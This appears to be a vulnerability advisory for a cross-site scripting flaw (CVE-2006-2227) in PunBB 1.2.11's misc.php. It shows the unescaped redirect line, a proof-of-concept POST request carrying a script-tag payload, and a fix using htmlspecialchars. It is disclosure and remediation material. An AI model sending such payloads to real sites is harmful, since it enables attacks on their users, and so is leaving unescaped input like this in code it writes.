Bug: PunBB1.2.11 Cross-Site Scripting ( Ascii Version )

Search:
WLB2

PunBB1.2.11 Cross-Site Scripting

Published
Credit
Risk
2006.05.09
o y 6 hotmail com
Low
CWE
CVE
Local
Remote
N/A
CVE-2006-2227
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
None
Partial
None

PunBB 1.2.11 Cross-Site Scripting

File name :- misc.php

Action :- Send Email

Line :- 123

[php]

redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']);

[/php]

The $_POST['redirect_url'] = Unfilter Input

Exploit :-

Send POST Request

[code]

GET :-

/PunBB/misc.php?email=2

POST :-

form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><s
cript>alert(1);</script>

[/code]

Fix :-

Replace The Line With :-

[php]

redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent redirect']);

[/php]

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version